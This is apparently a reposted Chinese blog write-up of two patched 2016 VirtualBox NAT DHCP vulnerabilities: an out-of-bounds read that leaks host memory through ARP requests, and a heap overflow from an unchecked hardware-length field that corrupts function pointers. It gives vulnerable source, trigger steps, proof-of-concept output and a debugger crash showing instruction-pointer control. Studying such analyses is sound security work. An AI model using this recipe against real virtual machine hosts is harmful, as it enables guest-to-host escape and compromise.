这是前些年一组VirtualBox的逃逸漏洞。NAT模式下的VirtualBox guest虚拟机(默认网络配置)启用每个VM DHCP服务器,该服务器为guest虚拟机分配IP地址。
renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)
伪造的DHCP服务器在10.0.2.2
的IP地址上,发送到此DHCP服务器的数据包将由host机来进行解析
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2
. . .68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
Oracle在2016年10月期间修复了两个漏洞CVE-2016-5610
和CVE-2016-5611
。该漏洞存在于代码src/Vbox/Devices/Network/slirp/bootp.c
中,影响5.0.28、5.1.8之前的VirtualBox版本。
Oracle重要补丁更新公告 - 2016年10月
DHCP数据包在src/Vbox/Devices/Network/slirp/bootp.c
中定义如下:
#define DHCP_OPT_LEN 312/* RFC 2131 */struct bootp_t{
struct ip ip; /**< header: IP header */
struct udphdr udp; /**< header: UDP header */
uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
uint8_t bp_htype; /**< hardware type */
uint8_t bp_hlen; /**< hardware address length */
uint8_t bp_hops; /**< hop count */
uint32_t bp_xid; /**< transaction ID */
uint16_t bp_secs; /**< numnber of seconds */
uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */
struct in_addr bp_ciaddr; /**< client IP address */
struct in_addr bp_yiaddr; /**< your IP address */
struct in_addr bp_siaddr; /**< server IP address */
struct in_addr bp_giaddr; /**< gateway IP address */
uint8_t bp_hwaddr[16]; /** client hardware address */
uint8_t bp_sname[64]; /** server host name */
uint8_t bp_file[128]; /** boot filename */
uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */};
DHCP服务器维护一个BOOTPClient
结构数组(bootp.c),以跟踪所有分配的IP地址。
/** Entry in the table of known DHCP clients. */typedef struct{
uint32_t xid;
bool allocated;
uint8_t macaddr[6];
struct in_addr addr;
int number;} BOOTPClient;/** Number of DHCP clients supported by NAT. */#define NB_ADDR 16
调用bootp_dhcp_init()
在VM初始化期间初始这个数组
int bootp_dhcp_init(PNATState pData){
pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
if (!pData->pbootp_clients)
return VERR_NO_MEMORY;
return VINF_SUCCESS;}
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag){
uint8_t *q = vend;
uint8_t len;
. . .
while(*q != RFC1533_END) // expects END tag in an untrusted input
{
if (*q == RFC1533_PAD)
{
q++; // incremented without validation
continue;
}
if (*q == tag)
return q; // returns pointer if tag found
q++;
len = *q;
q += 1 + len; // length and pointer not validated
}
return NULL;}
dhcp_find_option()
解析guest虚拟机在DHCP数据包中提供的bp_vend
字段。但是,缺少正确的验证可能会返回一个在DHCP数据包缓冲区外的指针,或者如果while循环永远不会终止直到访问未映射的地址,则会导致VM崩溃。利用该漏洞,通过发送DHCP拒绝数据包去触发信息泄漏。
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size){. . .
case DHCPDECLINE:
/* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points * to Dhcp Option RFC2132_REQ_ADDR */
pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
. . .
req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
if (RT_FAILURE(rc))
{
. . .
bc->addr.s_addr = req_ip.s_addr;
slirp_arp_who_has(pData, bc->addr.s_addr);
LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
}
/* no response required */
break;. . .
客户端发送DHCPDECLINE
消息,表明提供的IP地址已在使用中。此IP地址是bp_vend
字段的一部分。服务器调用dhcp_find_option()
以获取指向bp_vend
字段内的IP地址的指针。这里可以返回DHCP缓冲区外的指针,指向一些垃圾数据作为IP地址。
服务器首先通过调用bootp_cache_lookup_ether_by_ip()
来检查IP地址是否已在分配的列表中。如果没有,它进一步调用slirp_arp_who_has
来生成ARP请求,其中在DHCP缓冲区外部读取的字节为IP地址。该请求将由guest虚拟机接收,因为它的广播数据包泄漏了一些字节。
要触发此漏洞,需要发送一个DHCPDECLINE
数据包,其中bp_vend
填充RFC1533_PAD
。如果没有崩溃,将触发ARP数据包,如下所示:
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46
45.103.99.109
是泄漏的主机进程字节。
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m){. . .
/*?? renewing ??*/
switch (dhcp_stat)
{
case RENEWING:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = bp->bp_ciaddr.s_addr;
}
break;
case INIT_REBOOT:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = ui32;
break;. . .}
在解析DHCPREQUEST
数据包时,没有验证bp-> bp_hlen
字段。断言语句Assert((bp-> bp_hlen == ETH_ALEN))在release版本中不编译,当将bp_hwaddr
从伪造的DHCP数据包复制到BOOTPClient
结构中的macaddr
字段时,会导致堆缓冲区溢出。
p_hlen
是一个字节,因此最大值可以是255。但是,BOOTPClient
结构数组的大小大于300
字节。由于没有关键数据可以破坏,因此在此数组中溢出并不是很有效。为了使这个溢出有效,我们必须到达BOOTPClient
结构数组的末尾(pbootp_clients
)。
pbootp_clients
数组可以存储有关16个客户端请求[0 ... 15]
的信息。在VM初始化期间,数组中的第一个元素已使用了访客IP地址。为了将更多客户端请求添加进该数组,guest虚拟机可以发送另外14个具有唯一信息的DHCPREQUEST
数据包。处理第15个DHCPREQUEST
数据包时,通过将bp_hlen
设置为最大值来触发溢出。
由于pbootp_clients
是在VM初始化过程中早期分配的,并且溢出限制为最多255
个字节,因此相邻缓冲区需要有趣。在Ubuntu 16.04中测试VirtualBox 5.0.26时,相邻的缓冲区是在src/Vbox/Devices/Network/slirp/zone.h
中定义的uma_zone结构。
# define ZONE_MAGIC 0xdead0002struct uma_zone{
uint32_t magic;
PNATState pData; /* to minimize changes in the rest of UMA emulation code */
RTCRITSECT csZone;
const char *name;
size_t size; /* item size */
ctor_t pfCtor;
dtor_t pfDtor;
zinit_t pfInit;
zfini_t pfFini;
uma_alloc_t pfAlloc;
uma_free_t pfFree;
int max_items;
int cur_items;
LIST_HEAD(RT_NOTHING, item) used_items;
LIST_HEAD(RT_NOTHING, item) free_items;
uma_zone_t master_zone;
void *area;
/** Needs call pfnXmitPending when memory becomes available if @c true. * @remarks Only applies to the master zone (master_zone == NULL) */
bool fDoXmitPending;};
此结构用于在src/Vbox/Devices/Network/slirp/misc.c
中定义的函数。破坏pfCtor
,pfDtor
,pfInit
,pfFini
,pfAlloc
或pfFree
会在NAT
线程或每个vCPU EMT
线程中拿到RIP控制权。
$ sudo ./poc enp0s3[sudo] password for renorobert:
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address : 10.0.2.15
poc: [+] Requesting IP address : 10.0.2.16
poc: [+] Requesting IP address : 10.0.2.17
poc: [+] Requesting IP address : 10.0.2.18
poc: [+] Requesting IP address : 10.0.2.19
poc: [+] Requesting IP address : 10.0.2.20
poc: [+] Requesting IP address : 10.0.2.21
poc: [+] Requesting IP address : 10.0.2.22
poc: [+] Requesting IP address : 10.0.2.23
poc: [+] Requesting IP address : 10.0.2.24
poc: [+] Requesting IP address : 10.0.2.25
poc: [+] Requesting IP address : 10.0.2.26
poc: [+] Requesting IP address : 10.0.2.27
poc: [+] Requesting IP address : 10.0.2.28
poc: [+] Requesting IP address : 10.0.2.29
poc: [+] Requesting IP address : 10.0.2.30
poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c
Continuing.
Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.[Switching to Thread 0x7fd20e4af700 (LWP 27148)][----------------------------------registers-----------------------------------]RAX: 0xfffffe95
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")RCX: 0x0
RDX: 0x0
RSI: 0x42424242 ('BBBB')RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70])R8 : 0x0
R9 : 0x0
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp)R11: 0x0
R12: 0x7fd1f0852080 --> 0x800
R13: 0x7fd20e4aeb90 --> 0x100000002
R14: 0x7fd1f05ea340 ('B' , "\b")R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp)EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]
0x7fd1df223086: xor edx,edx
0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48]
0x7fd1df22308b: mov rdi,rbx=> 0x7fd1df22308e: call QWORD PTR [rbx+0x70]
0x7fd1df223091: test rax,rax
0x7fd1df223094: mov r12,rax
0x7fd1df223097: je 0x7fd1df2230b5
0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50]Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")arg[1]: 0x42424242 ('BBBB')arg[2]: 0x0
arg[3]: 0x0
[------------------------------------stack-------------------------------------]0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff
0024| 0x7fd20e4aeb68 --> 0x11a
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax)0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000
[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so
gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000
以上两个漏洞的POC可以在这里下载virtualbox-nat-dhcp-bugs
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.